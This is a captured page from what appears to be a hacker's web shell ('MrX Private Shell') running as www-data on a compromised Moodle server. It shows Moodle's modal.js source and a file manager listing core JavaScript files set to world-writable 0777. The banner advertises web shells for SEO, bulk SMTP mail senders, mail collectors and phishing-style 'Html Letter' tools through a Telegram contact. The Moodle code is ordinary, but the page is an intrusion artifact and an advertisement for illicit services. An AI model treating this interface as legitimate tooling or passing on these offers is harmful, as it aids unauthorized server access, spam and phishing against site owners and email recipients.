__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Contain the logic for modals.
 *
 * @module core/modal
 * @copyright  2016 Ryan Wyllie <ryan@moodle.com>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

import $ from 'jquery';
import * as Templates from 'core/templates';
import * as Notification from 'core/notification';
import * as KeyCodes from 'core/key_codes';
import ModalBackdrop from 'core/modal_backdrop';
import ModalEvents from 'core/modal_events';
import * as ModalRegistry from 'core/modal_registry';
import Pending from 'core/pending';
import * as CustomEvents from 'core/custom_interaction_events';
import * as FilterEvents from 'core_filters/events';
import * as FocusLock from 'core/local/aria/focuslock';
import * as Aria from 'core/aria';
import * as Fullscreen from 'core/fullscreen';
import {removeToastRegion} from './toast';

/**
 * A configuration to provide to the modal.
 *
 * @typedef {Object} ModalConfig
 *
 * @property {string} [type] The type of modal to create.
 * @property {string|Promise<string>} [title] The title of the modal.
 * @property {string|Promise<string>} [body] The body of the modal.
 * @property {string|Promise<string>} [footer] The footer of the modal.
 * @property {boolean} [show=false] Whether to show the modal immediately.
 * @property {boolean} [scrollable=true] Whether the modal should be scrollable.
 * @property {boolean} [removeOnClose=true] Whether the modal should be removed from the DOM when it is closed.
 * @property {Element|jQuery} [returnElement] The element to focus when closing the modal.
 * @property {boolean} [large=false] Whether the modal should be a large modal.
 * @property {boolean} [isVerticallyCentered=false] Whether the modal should be vertically centered.
 * @property {object} [buttons={}] The buttons to display in the footer as a key => title pair.
 */

const SELECTORS = {
    CONTAINER: '[data-region="modal-container"]',
    MODAL: '[data-region="modal"]',
    HEADER: '[data-region="header"]',
    TITLE: '[data-region="title"]',
    BODY: '[data-region="body"]',
    FOOTER: '[data-region="footer"]',
    HIDE: '[data-action="hide"]',
    DIALOG: '[role=dialog]',
    FORM: 'form',
    MENU_BAR: '[role=menubar]',
    HAS_Z_INDEX: '.moodle-has-zindex',
    CAN_RECEIVE_FOCUS: 'input:not([type="hidden"]), a[href], button, textarea, select, [tabindex]',
};

const TEMPLATES = {
    LOADING: 'core/loading',
    BACKDROP: 'core/modal_backdrop',
};

export default class Modal {
    /** @var {string} The type of modal */
    static TYPE = 'default';

    /** @var {string} The template to use for this modal */
    static TEMPLATE = 'core/modal';

    /** @var {Promise} Module singleton for the backdrop to be reused by all Modal instances */
    static backdropPromise = null;

    /**
     * @var {Number} A counter that gets incremented for each modal created.
     * This can be used to generate unique values for the modals.
     */
    static modalCounter = 0;

    /**
     * Getter method for .root element.
     * @return {object} jQuery object
     */
    get root() {
        return $(this._root.filter(SELECTORS.CONTAINER));
    }

    /**
     * Setter method for .root element.
     * @param {object} root jQuery object
     */
    set root(root) {
        this._root = root;
    }

    /**
     * Constructor for the Modal.
     *
     * @param {HTMLElement} root The HTMLElement at the root of the Modal content
     */
    constructor(root) {
        this.root = $(root);

        this.modal = this.root.find(SELECTORS.MODAL);
        this.header = this.modal.find(SELECTORS.HEADER);
        this.headerPromise = $.Deferred();
        this.title = this.header.find(SELECTORS.TITLE);
        this.titlePromise = $.Deferred();
        this.body = this.modal.find(SELECTORS.BODY);
        this.bodyPromise = $.Deferred();
        this.footer = this.modal.find(SELECTORS.FOOTER);
        this.footerPromise = $.Deferred();
        this.hiddenSiblings = [];
        this.isAttached = false;
        this.bodyJS = null;
        this.footerJS = null;
        this.modalCount = Modal.modalCounter++;
        this.attachmentPoint = document.createElement('div');
        document.body.append(this.attachmentPoint);
        this.focusOnClose = null;
        this.templateJS = null;

        if (!this.root.is(SELECTORS.CONTAINER)) {
            Notification.exception({message: 'Element is not a modal container'});
        }

        if (!this.modal.length) {
            Notification.exception({message: 'Container does not contain a modal'});
        }

        if (!this.header.length) {
            Notification.exception({message: 'Modal is missing a header region'});
        }

        if (!this.title.length) {
            Notification.exception({message: 'Modal header is missing a title region'});
        }

        if (!this.body.length) {
            Notification.exception({message: 'Modal is missing a body region'});
        }

        if (!this.footer.length) {
            Notification.exception({message: 'Modal is missing a footer region'});
        }

        this.registerEventListeners();
    }

    /**
     * Register a modal with the legacy modal registry.
     *
     * This is provided to allow backwards-compatibility with existing code that uses the legacy modal registry.
     * It is not necessary to register modals for code only present in Moodle 4.3 and later.
     */
    static registerModalType() {
        if (!this.TYPE) {
            throw new Error(`Unknown modal type`, this);
        }

        if (!this.TEMPLATE) {
            throw new Error(`Unknown modal template`, this);
        }
        ModalRegistry.register(
            this.TYPE,
            this,
            this.TEMPLATE,
        );
    }

    /**
     * Create a new modal using the ModalFactory.
     * This is a shortcut to creating the modal.
     * Create a new modal using the supplied configuration.
     *
     * @param {ModalConfig} modalConfig
     * @returns {Promise<Modal>}
     */
    static async create(modalConfig = {}) {
        const pendingModalPromise = new Pending('core/modal_factory:create');
        modalConfig.type = this.TYPE;

        const templateName = this._getTemplateName(modalConfig);
        const templateContext = modalConfig.templateContext || {};
        const {html, js} = await Templates.renderForPromise(templateName, templateContext);

        const modal = new this(html);
        if (js) {
            modal.setTemplateJS(js);
        }
        modal.configure(modalConfig);

        pendingModalPromise.resolve();

        return modal;
    }

    /**
     * A helper to get the template name for this modal.
     *
     * @param {ModalConfig} modalConfig
     * @returns {string}
     * @protected
     */
    static _getTemplateName(modalConfig) {
        if (modalConfig.template) {
            return modalConfig.template;
        }

        if (this.TEMPLATE) {
            return this.TEMPLATE;
        }

        if (ModalRegistry.has(this.TYPE)) {
            // Note: This is provided as an interim backwards-compatability layer and will be removed four releases after 4.3.
            window.console.warning(
                'Use of core/modal_registry is deprecated. ' +
                'Please define your modal template in a new static TEMPLATE property on your modal class.',
            );
            const config = ModalRegistry.get(this.TYPE);
            return config.template;
        }

        throw new Error(`Unable to determine template name for modal ${this.TYPE}`);
    }

    /**
     * Configure the modal.
     *
     * @param {ModalConfig} param0 The configuration options
     */
    configure({
        show = false,
        large = false,
        isVerticallyCentered = false,
        removeOnClose = false,
        scrollable = true,
        returnElement,
        title,
        body,
        footer,
        buttons = {},
    } = {}) {
        if (large) {
            this.setLarge();
        }

        if (isVerticallyCentered) {
            this.setVerticallyCentered();
        }

        // If configured remove the modal when hiding it.
        // Ideally this should be true, but we need to identify places that this breaks first.
        this.setRemoveOnClose(removeOnClose);
        this.setReturnElement(returnElement);
        this.setScrollable(scrollable);

        if (title !== undefined) {
            this.setTitle(title);
        }

        if (body !== undefined) {
            this.setBody(body);
        }

        if (footer !== undefined) {
            this.setFooter(footer);
        }

        Object.entries(buttons).forEach(([key, value]) => this.setButtonText(key, value));

        // If configured show the modal.
        if (show) {
            this.show();
        }
    }

    /**
     * Attach the modal to the correct part of the page.
     *
     * If it hasn't already been added it runs any
     * javascript that has been cached until now.
     *
     * @method attachToDOM
     */
    attachToDOM() {
        this.getAttachmentPoint().append(this._root);

        if (this.isAttached) {
            return;
        }

        FocusLock.trapFocus(this.root[0]);

        // If we'd cached any JS then we can run it how that the modal is
        // attached to the DOM.
        if (this.templateJS) {
            Templates.runTemplateJS(this.templateJS);
            this.templateJS = null;
        }

        if (this.bodyJS) {
            Templates.runTemplateJS(this.bodyJS);
            this.bodyJS = null;
        }

        if (this.footerJS) {
            Templates.runTemplateJS(this.footerJS);
            this.footerJS = null;
        }

        this.isAttached = true;
    }

    /**
     * Count the number of other visible modals (not including this one).
     *
     * @method countOtherVisibleModals
     * @return {int}
     */
    countOtherVisibleModals() {
        let count = 0;
        $('body').find(SELECTORS.CONTAINER).each((index, element) => {
            element = $(element);

            // If we haven't found ourself and the element is visible.
            if (!this.root.is(element) && element.hasClass('show')) {
                count++;
            }
        });

        return count;
    }

    /**
     * Get the modal backdrop.
     *
     * @method getBackdrop
     * @return {object} jQuery promise
     */
    getBackdrop() {
        if (!Modal.backdropPromise) {
            Modal.backdropPromise = Templates.render(TEMPLATES.BACKDROP, {})
                .then((html) => new ModalBackdrop($(html)))
                .catch(Notification.exception);
        }

        return Modal.backdropPromise;
    }

    /**
     * Get the root element of this modal.
     *
     * @method getRoot
     * @return {object} jQuery object
     */
    getRoot() {
        return this.root;
    }

    /**
     * Get the modal element of this modal.
     *
     * @method getModal
     * @return {object} jQuery object
     */
    getModal() {
        return this.modal;
    }

    /**
     * Get the modal title element.
     *
     * @method getTitle
     * @return {object} jQuery object
     */
    getTitle() {
        return this.title;
    }

    /**
     * Get the modal body element.
     *
     * @method getBody
     * @return {object} jQuery object
     */
    getBody() {
        return this.body;
    }

    /**
     * Get the modal footer element.
     *
     * @method getFooter
     * @return {object} jQuery object
     */
    getFooter() {
        return this.footer;
    }

    /**
     * Get a promise resolving to the title region.
     *
     * @method getTitlePromise
     * @return {Promise}
     */
    getTitlePromise() {
        return this.titlePromise;
    }

    /**
     * Get a promise resolving to the body region.
     *
     * @method getBodyPromise
     * @return {object} jQuery object
     */
    getBodyPromise() {
        return this.bodyPromise;
    }

    /**
     * Get a promise resolving to the footer region.
     *
     * @method getFooterPromise
     * @return {object} jQuery object
     */
    getFooterPromise() {
        return this.footerPromise;
    }

    /**
     * Get the unique modal count.
     *
     * @method getModalCount
     * @return {int}
     */
    getModalCount() {
        return this.modalCount;
    }

    /**
     * Set the modal title element.
     *
     * This method is overloaded to take either a string value for the title or a jQuery promise that is resolved with
     * HTML most commonly from a Str.get_string call.
     *
     * @method setTitle
     * @param {(string|object)} value The title string or jQuery promise which resolves to the title.
     */
    setTitle(value) {
        const title = this.getTitle();
        this.titlePromise = $.Deferred();

        this.asyncSet(value, title.html.bind(title))
        .then(() => {
            this.titlePromise.resolve(title);
            return;
        })
        .catch(Notification.exception);
    }

    /**
     * Set the modal body element.
     *
     * This method is overloaded to take either a string value for the body or a jQuery promise that is resolved with
     * HTML and Javascript most commonly from a Templates.render call.
     *
     * @method setBody
     * @param {(string|object)} value The body string or jQuery promise which resolves to the body.
     * @fires event:filterContentUpdated
     */
    setBody(value) {
        this.bodyPromise = $.Deferred();

        const body = this.getBody();

        if (typeof value === 'string') {
            // Just set the value if it's a string.
            body.html(value);
            FilterEvents.notifyFilterContentUpdated(body);
            this.getRoot().trigger(ModalEvents.bodyRendered, this);
            this.bodyPromise.resolve(body);
        } else {
            const modalPromise = new Pending(`amd-modal-js-pending-id-${this.getModalCount()}`);
            // Otherwise we assume it's a promise to be resolved with
            // html and javascript.
            let contentPromise = null;
            body.css('overflow', 'hidden');

            // Ensure that the `value` is a jQuery Promise.
            value = $.when(value);

            if (value.state() == 'pending') {
                // We're still waiting for the body promise to resolve so
                // let's show a loading icon.
                let height = body.innerHeight();
                if (height < 100) {
                    height = 100;
                }

                body.animate({height: `${height}px`}, 150);

                body.html('');
                contentPromise = Templates.render(TEMPLATES.LOADING, {})
                    .then((html) => {
                        const loadingIcon = $(html).hide();
                        body.html(loadingIcon);
                        loadingIcon.fadeIn(150);

                        // We only want the loading icon to fade out
                        // when the content for the body has finished
                        // loading.
                        return $.when(loadingIcon.promise(), value);
                    })
                    .then((loadingIcon) => {
                        // Once the content has finished loading and
                        // the loading icon has been shown then we can
                        // fade the icon away to reveal the content.
                        return loadingIcon.fadeOut(100).promise();
                    })
                    .then(() => {
                        return value;
                    });
            } else {
                // The content is already loaded so let's just display
                // it to the user. No need for a loading icon.
                contentPromise = value;
            }

            // Now we can actually display the content.
            contentPromise.then((html, js) => {
                let result = null;

                if (this.isVisible()) {
                    // If the modal is visible then we should display
                    // the content gracefully for the user.
                    body.css('opacity', 0);
                    const currentHeight = body.innerHeight();
                    body.html(html);
                    // We need to clear any height values we've set here
                    // in order to measure the height of the content being
                    // added. This then allows us to animate the height
                    // transition.
                    body.css('height', '');
                    const newHeight = body.innerHeight();
                    body.css('height', `${currentHeight}px`);
                    result = body.animate(
                        {height: `${newHeight}px`, opacity: 1},
                        {duration: 150, queue: false}
                    ).promise();
                } else {
                    // Since the modal isn't visible we can just immediately
                    // set the content. No need to animate it.
                    body.html(html);
                }

                if (js) {
                    if (this.isAttached) {
                        // If we're in the DOM then run the JS immediately.
                        Templates.runTemplateJS(js);
                    } else {
                        // Otherwise cache it to be run when we're attached.
                        this.bodyJS = js;
                    }
                }

                return result;
            })
            .then((result) => {
                FilterEvents.notifyFilterContentUpdated(body);
                this.getRoot().trigger(ModalEvents.bodyRendered, this);
                return result;
            })
            .then(() => {
                this.bodyPromise.resolve(body);
                return;
            })
            .catch(Notification.exception)
            .always(() => {
                // When we're done displaying all of the content we need
                // to clear the custom values we've set here.
                body.css('height', '');
                body.css('overflow', '');
                body.css('opacity', '');
                modalPromise.resolve();

                return;
            });
        }
    }

    /**
     * Alternative to setBody() that can be used from non-Jquery modules
     *
     * @param {Promise} promise promise that returns {html, js} object
     * @return {Promise}
     */
    setBodyContent(promise) {
        // Call the leegacy API for now and pass it a jQuery Promise.
        // This is a non-spec feature of jQuery and cannot be produced with spec promises.
        // We can encourage people to migrate to this approach, and in future we can swap
        // it so that setBody() calls setBodyPromise().
        return promise.then(({html, js}) => this.setBody($.when(html, js)))
            .catch(exception => {
                this.hide();
                throw exception;
            });
    }

    /**
     * Set the modal footer element. The footer element is made visible, if it
     * isn't already.
     *
     * This method is overloaded to take either a string
     * value for the body or a jQuery promise that is resolved with HTML and Javascript
     * most commonly from a Templates.render call.
     *
     * @method setFooter
     * @param {(string|object)} value The footer string or jQuery promise
     */
    setFooter(value) {
        // Make sure the footer is visible.
        this.showFooter();
        this.footerPromise = $.Deferred();

        const footer = this.getFooter();

        if (typeof value === 'string') {
            // Just set the value if it's a string.
            footer.html(value);
            this.footerPromise.resolve(footer);
        } else {
            // Otherwise we assume it's a promise to be resolved with
            // html and javascript.
            Templates.render(TEMPLATES.LOADING, {})
            .then((html) => {
                footer.html(html);

                return value;
            })
            .then((html, js) => {
                footer.html(html);

                if (js) {
                    if (this.isAttached) {
                        // If we're in the DOM then run the JS immediately.
                        Templates.runTemplateJS(js);
                    } else {
                        // Otherwise cache it to be run when we're attached.
                        this.footerJS = js;
                    }
                }

                return footer;
            })
            .then((footer) => {
                this.footerPromise.resolve(footer);
                this.showFooter();
                return;
            })
            .catch(Notification.exception);
        }
    }

    /**
     * Check if the footer has any content in it.
     *
     * @method hasFooterContent
     * @return {bool}
     */
    hasFooterContent() {
        return this.getFooter().children().length ? true : false;
    }

    /**
     * Hide the footer element.
     *
     * @method hideFooter
     */
    hideFooter() {
        this.getFooter().addClass('hidden');
    }

    /**
     * Show the footer element.
     *
     * @method showFooter
     */
    showFooter() {
        this.getFooter().removeClass('hidden');
    }

    /**
     * Mark the modal as a large modal.
     *
     * @method setLarge
     */
    setLarge() {
        if (this.isLarge()) {
            return;
        }

        this.getModal().addClass('modal-lg');
    }

    /**
     * Mark the modal as a centered modal.
     *
     * @method setVerticallyCentered
     */
    setVerticallyCentered() {
        if (this.isVerticallyCentered()) {
            return;
        }
        this.getModal().addClass('modal-dialog-centered');
    }

    /**
     * Check if the modal is a large modal.
     *
     * @method isLarge
     * @return {bool}
     */
    isLarge() {
        return this.getModal().hasClass('modal-lg');
    }

    /**
     * Check if the modal is vertically centered.
     *
     * @method isVerticallyCentered
     * @return {bool}
     */
    isVerticallyCentered() {
        return this.getModal().hasClass('modal-dialog-centered');
    }

    /**
     * Mark the modal as a small modal.
     *
     * @method setSmall
     */
    setSmall() {
        if (this.isSmall()) {
            return;
        }

        this.getModal().removeClass('modal-lg');
    }

    /**
     * Check if the modal is a small modal.
     *
     * @method isSmall
     * @return {bool}
     */
    isSmall() {
        return !this.getModal().hasClass('modal-lg');
    }

    /**
     * Set this modal to be scrollable or not.
     *
     * @method setScrollable
     * @param {bool} value Whether the modal is scrollable or not
     */
    setScrollable(value) {
        if (!value) {
            this.getModal()[0].classList.remove('modal-dialog-scrollable');
            return;
        }

        this.getModal()[0].classList.add('modal-dialog-scrollable');
    }


    /**
     * Determine the highest z-index value currently on the page.
     *
     * @method calculateZIndex
     * @return {int}
     */
    calculateZIndex() {
        const items = $(`${SELECTORS.DIALOG}, ${SELECTORS.MENU_BAR}, ${SELECTORS.HAS_Z_INDEX}`);
        let zIndex = parseInt(this.root.css('z-index'));

        items.each((index, item) => {
            item = $(item);
            if (!item.is(':visible')) {
                // Do not include items which are not visible in the z-index calculation.
                // This is important because some dialogues are not removed from the DOM.
                return;
            }
            // Note that webkit browsers won't return the z-index value from the CSS stylesheet
            // if the element doesn't have a position specified. Instead it'll return "auto".
            const itemZIndex = item.css('z-index') ? parseInt(item.css('z-index')) : 0;

            if (itemZIndex > zIndex) {
                zIndex = itemZIndex;
            }
        });

        return zIndex;
    }

    /**
     * Check if this modal is visible.
     *
     * @method isVisible
     * @return {bool}
     */
    isVisible() {
        return this.root.hasClass('show');
    }

    /**
     * Check if this modal has focus.
     *
     * @method hasFocus
     * @return {bool}
     */
    hasFocus() {
        const target = $(document.activeElement);
        return this.root.is(target) || this.root.has(target).length;
    }

    /**
     * Check if this modal has CSS transitions applied.
     *
     * @method hasTransitions
     * @return {bool}
     */
    hasTransitions() {
        return this.getRoot().hasClass('fade');
    }

    /**
     * Gets the jQuery wrapped node that the Modal should be attached to.
     *
     * @returns {jQuery}
     */
    getAttachmentPoint() {
        return $(Fullscreen.getElement() || this.attachmentPoint);
    }

    /**
     * Display this modal. The modal will be attached to the DOM if it hasn't
     * already been.
     *
     * @method show
     * @returns {Promise}
     */
    show() {
        if (this.isVisible()) {
            return $.Deferred().resolve();
        }

        const pendingPromise = new Pending('core/modal:show');

        if (this.hasFooterContent()) {
            this.showFooter();
        } else {
            this.hideFooter();
        }

        this.attachToDOM();

        // If the focusOnClose was not set. Set the focus back to triggered element.
        if (!this.focusOnClose && document.activeElement) {
            this.focusOnClose = document.activeElement;
        }

        return this.getBackdrop()
        .then((backdrop) => {
            const currentIndex = this.calculateZIndex();
            const newIndex = currentIndex + 2;
            const newBackdropIndex = newIndex - 1;
            this.root.css('z-index', newIndex);
            backdrop.setZIndex(newBackdropIndex);
            backdrop.show();

            this.root.removeClass('hide').addClass('show');
            this.accessibilityShow();
            this.getModal().focus();
            $('body').addClass('modal-open');
            this.root.trigger(ModalEvents.shown, this);

            return;
        })
        .then(pendingPromise.resolve);
    }

    /**
     * Hide this modal if it does not contain a form.
     *
     * @method hideIfNotForm
     */
    hideIfNotForm() {
        const formElement = this.modal.find(SELECTORS.FORM);
        if (formElement.length == 0) {
            this.hide();
        }
    }

    /**
     * Hide this modal.
     *
     * @method hide
     */
    hide() {
        this.getBackdrop().done((backdrop) => {
            FocusLock.untrapFocus();

            if (!this.countOtherVisibleModals()) {
                // Hide the backdrop if we're the last open modal.
                backdrop.hide();
                $('body').removeClass('modal-open');
            }

            const currentIndex = parseInt(this.root.css('z-index'));
            this.root.css('z-index', '');
            backdrop.setZIndex(currentIndex - 3);

            this.accessibilityHide();

            if (this.hasTransitions()) {
                // Wait for CSS transitions to complete before hiding the element.
                this.getRoot().one('transitionend webkitTransitionEnd oTransitionEnd', () => {
                    this.getRoot().removeClass('show').addClass('hide');
                });
            } else {
                this.getRoot().removeClass('show').addClass('hide');
            }

            // Ensure the modal is moved onto the body node if it is still attached to the DOM.
            if ($(document.body).find(this.getRoot()).length) {
                $(document.body).append(this.getRoot());
            }

            // Closes popover elements that are inside the modal at the time the modal is closed.
            this.getRoot().find('[data-toggle="popover"]').each(function() {
                document.getElementById(this.getAttribute('aria-describedby'))?.remove();
            });

            this.root.trigger(ModalEvents.hidden, this);
        });
    }

    /**
     * Remove this modal from the DOM.
     *
     * @method destroy
     */
    destroy() {
        this.hide();
        removeToastRegion(this.getBody().get(0));
        this.root.remove();
        this.root.trigger(ModalEvents.destroyed, this);
        this.attachmentPoint.remove();
    }

    /**
     * Sets the appropriate aria attributes on this dialogue and the other
     * elements in the DOM to ensure that screen readers are able to navigate
     * the dialogue popup correctly.
     *
     * @method accessibilityShow
     */
    accessibilityShow() {
        // Make us visible to screen readers.
        Aria.unhide(this.root.get());

        // Hide siblings.
        Aria.hideSiblings(this.root.get()[0]);
    }

    /**
     * Restores the aria visibility on the DOM elements changed when displaying
     * the dialogue popup and makes the dialogue aria hidden to allow screen
     * readers to navigate the main page correctly when the dialogue is closed.
     *
     * @method accessibilityHide
     */
    accessibilityHide() {
        // Unhide siblings.
        Aria.unhideSiblings(this.root.get()[0]);

        // Hide this modal.
        Aria.hide(this.root.get());
    }

    /**
     * Set up all of the event handling for the modal.
     *
     * @method registerEventListeners
     */
    registerEventListeners() {
        this.getRoot().on('keydown', (e) => {
            if (!this.isVisible()) {
                return;
            }

            if (e.keyCode == KeyCodes.escape) {
                if (this.removeOnClose) {
                    this.destroy();
                } else {
                    this.hide();
                }
            }
        });

        // Listen for clicks on the modal container.
        this.getRoot().click((e) => {
            // If the click wasn't inside the modal element then we should
            // hide the modal.
            if (!$(e.target).closest(SELECTORS.MODAL).length) {
                // The check above fails to detect the click was inside the modal when the DOM tree is already changed.
                // So, we check if we can still find the container element or not. If not, then the DOM tree is changed.
                // It's best not to hide the modal in that case.
                if ($(e.target).closest(SELECTORS.CONTAINER).length) {
                    const outsideClickEvent = $.Event(ModalEvents.outsideClick);
                    this.getRoot().trigger(outsideClickEvent, this);

                    if (!outsideClickEvent.isDefaultPrevented()) {
                        this.hideIfNotForm();
                    }
                }
            }
        });

        CustomEvents.define(this.getModal(), [CustomEvents.events.activate]);
        this.getModal().on(CustomEvents.events.activate, SELECTORS.HIDE, (e, data) => {
            if (this.removeOnClose) {
                this.destroy();
            } else {
                this.hide();
            }
            data.originalEvent.preventDefault();
        });

        this.getRoot().on(ModalEvents.hidden, () => {
            if (this.focusOnClose) {
                // Focus on the element that actually triggers the modal.
                this.focusOnClose.focus();
            }
        });
    }

    /**
     * Register a listener to close the dialogue when the cancel button is pressed.
     *
     * @method registerCloseOnCancel
     */
    registerCloseOnCancel() {
        // Handle the clicking of the Cancel button.
        this.getModal().on(CustomEvents.events.activate, this.getActionSelector('cancel'), (e, data) => {
            const cancelEvent = $.Event(ModalEvents.cancel);
            this.getRoot().trigger(cancelEvent, this);

            if (!cancelEvent.isDefaultPrevented()) {
                data.originalEvent.preventDefault();

                if (this.removeOnClose) {
                    this.destroy();
                } else {
                    this.hide();
                }
            }
        });
    }

    /**
     * Register a listener to close the dialogue when the save button is pressed.
     *
     * @method registerCloseOnSave
     */
    registerCloseOnSave() {
        // Handle the clicking of the Cancel button.
        this.getModal().on(CustomEvents.events.activate, this.getActionSelector('save'), (e, data) => {
            const saveEvent = $.Event(ModalEvents.save);
            this.getRoot().trigger(saveEvent, this);

            if (!saveEvent.isDefaultPrevented()) {
                data.originalEvent.preventDefault();

                if (this.removeOnClose) {
                    this.destroy();
                } else {
                    this.hide();
                }
            }
        });
    }


    /**
     * Register a listener to close the dialogue when the delete button is pressed.
     *
     * @method registerCloseOnDelete
     */
    registerCloseOnDelete() {
        // Handle the clicking of the Cancel button.
        this.getModal().on(CustomEvents.events.activate, this.getActionSelector('delete'), (e, data) => {
            const deleteEvent = $.Event(ModalEvents.delete);
            this.getRoot().trigger(deleteEvent, this);

            if (!deleteEvent.isDefaultPrevented()) {
                data.originalEvent.preventDefault();

                if (this.removeOnClose) {
                    this.destroy();
                } else {
                    this.hide();
                }
            }
        });
    }

    /**
     * Set or resolve and set the value using the function.
     *
     * @method asyncSet
     * @param {(string|object)} value The string or jQuery promise.
     * @param {function} setFunction The setter
     * @return {Promise}
     */
    asyncSet(value, setFunction) {
        const getWrappedValue = (value) => {
            if (value instanceof Promise) {
                return $.when(value);
            }

            if (typeof value !== 'object' || !value.hasOwnProperty('then')) {
                return $.Deferred().resolve(value);
            }

            return value;
        };

        return getWrappedValue(value)
            .then((content) => setFunction(content))
            .catch(Notification.exception);
    }

    /**
     * Set the title text of a button.
     *
     * This method is overloaded to take either a string value for the button title or a jQuery promise that is resolved with
     * text most commonly from a Str.get_string call.
     *
     * @param {DOMString} action The action of the button
     * @param {(String|object)} value The button text, or a promise which will resolve to it
     * @returns {Promise}
     */
    setButtonText(action, value) {
        const button = this.getFooter().find(this.getActionSelector(action));

        if (!button) {
            throw new Error("Unable to find the '" + action + "' button");
        }

        return this.asyncSet(value, button.text.bind(button));
    }

    /**
     * Get the Selector for an action.
     *
     * @param {String} action
     * @returns {DOMString}
     */
    getActionSelector(action) {
        return "[data-action='" + action + "']";
    }

    /**
     * Set the flag to remove the modal from the DOM on close.
     *
     * @param {Boolean} remove
     */
    setRemoveOnClose(remove) {
        this.removeOnClose = remove;
    }

    /**
     * Set the return element for the modal.
     *
     * @param {Element|jQuery} element Element to focus when the modal is closed
     */
    setReturnElement(element) {
        this.focusOnClose = element;
    }

    /**
     * Set the a button enabled or disabled.
     *
     * @param {DOMString} action The action of the button
     * @param {Boolean} disabled the new disabled value
     */
    setButtonDisabled(action, disabled) {
        const button = this.getFooter().find(this.getActionSelector(action));

        if (!button) {
            throw new Error("Unable to find the '" + action + "' button");
        }
        if (disabled) {
            button.attr('disabled', '');
        } else {
            button.removeAttr('disabled');
        }
    }

    /**
     * Set the template JS for this modal.
     * @param {String} js The JavaScript to run when the modal is attached to the DOM.
     */
    setTemplateJS(js) {
        this.templateJS = js;
    }
}

Filemanager

Name Type Size Permission Actions
bulkactions Folder 0777
check Folder 0777
comboboxsearch Folder 0777
datafilter Folder 0777
emoji Folder 0777
local Folder 0777
moodlenet Folder 0777
adapter.js File 123.08 KB 0777
addblockmodal.js File 4.34 KB 0777
ajax.js File 11.97 KB 0777
aria.js File 1011 B 0777
auto_rows.js File 3.46 KB 0777
autoscroll.js File 6.49 KB 0777
backoff_timer.js File 4.98 KB 0777
chart_axis.js File 7.39 KB 0777
chart_bar.js File 3.08 KB 0777
chart_base.js File 11.36 KB 0777
chart_builder.js File 1.65 KB 0777
chart_line.js File 2.08 KB 0777
chart_output.js File 1.08 KB 0777
chart_output_base.js File 2.03 KB 0777
chart_output_chartjs.js File 11.5 KB 0777
chart_output_htmltable.js File 3.3 KB 0777
chart_pie.js File 3.03 KB 0777
chart_series.js File 8.35 KB 0777
chartjs-lazy.js File 497.88 KB 0777
chartjs.js File 913 B 0777
checkbox-toggleall.js File 12.78 KB 0777
config.js File 978 B 0777
copy_to_clipboard.js File 7.38 KB 0777
custom_interaction_events.js File 22.18 KB 0777
datafilter.js File 17.92 KB 0777
dragdrop.js File 12.92 KB 0777
drawer.js File 3.49 KB 0777
drawer_events.js File 967 B 0777
dropzone.js File 5.71 KB 0777
dynamic_tabs.js File 6.67 KB 0777
edit_switch.js File 3.45 KB 0777
event.js File 2.53 KB 0777
event_dispatcher.js File 2.79 KB 0777
fetch.js File 9.4 KB 0777
first.js File 1.33 KB 0777
form-autocomplete.js File 53.74 KB 0777
form-cohort-selector.js File 2.5 KB 0777
form-course-selector.js File 3.77 KB 0777
fragment.js File 5.03 KB 0777
fullscreen.js File 1.62 KB 0777
icon_system.js File 3.39 KB 0777
icon_system_fontawesome.js File 5.35 KB 0777
icon_system_standard.js File 1.96 KB 0777
inplace_editable.js File 16.82 KB 0777
key_codes.js File 1.34 KB 0777
loadingicon.js File 3.88 KB 0777
localstorage.js File 2.24 KB 0777
log.js File 1.74 KB 0777
loglevel.js File 12.38 KB 0777
menu_navigation.js File 9.2 KB 0777
modal.js File 36.33 KB 0777
modal_backdrop.js File 4.17 KB 0777
modal_cancel.js File 1.6 KB 0777
modal_copy_to_clipboard.js File 3.75 KB 0777
modal_delete_cancel.js File 2.36 KB 0777
modal_events.js File 1.28 KB 0777
modal_factory.js File 5.91 KB 0777
modal_registry.js File 2.26 KB 0777
modal_save_cancel.js File 2.34 KB 0777
moremenu.js File 10.3 KB 0777
mustache.js File 28.75 KB 0777
network.js File 9.66 KB 0777
normalise.js File 2.43 KB 0777
notification.js File 11.57 KB 0777
page_global.js File 5.38 KB 0777
paged_content.js File 2.87 KB 0777
paged_content_events.js File 1.17 KB 0777
paged_content_factory.js File 20.61 KB 0777
paged_content_pages.js File 11.75 KB 0777
paged_content_paging_bar.js File 20.36 KB 0777
paged_content_paging_bar_limit_selector.js File 2.36 KB 0777
paged_content_paging_dropdown.js File 7.36 KB 0777
pagehelpers.js File 5.38 KB 0777
pending.js File 4.46 KB 0777
permissionmanager.js File 9.77 KB 0777
popover_region_controller.js File 13.16 KB 0777
popper.js File 79.2 KB 0777
popper2.js File 61.59 KB 0777
prefetch.js File 5.82 KB 0777
process_monitor.js File 3.55 KB 0777
pubsub.js File 2.17 KB 0777
reactive.js File 1.38 KB 0777
scroll_manager.js File 5.5 KB 0777
sessionstorage.js File 2.22 KB 0777
showhidesettings.js File 11.82 KB 0777
showmore.js File 1.83 KB 0777
sortable_list.js File 29.62 KB 0777
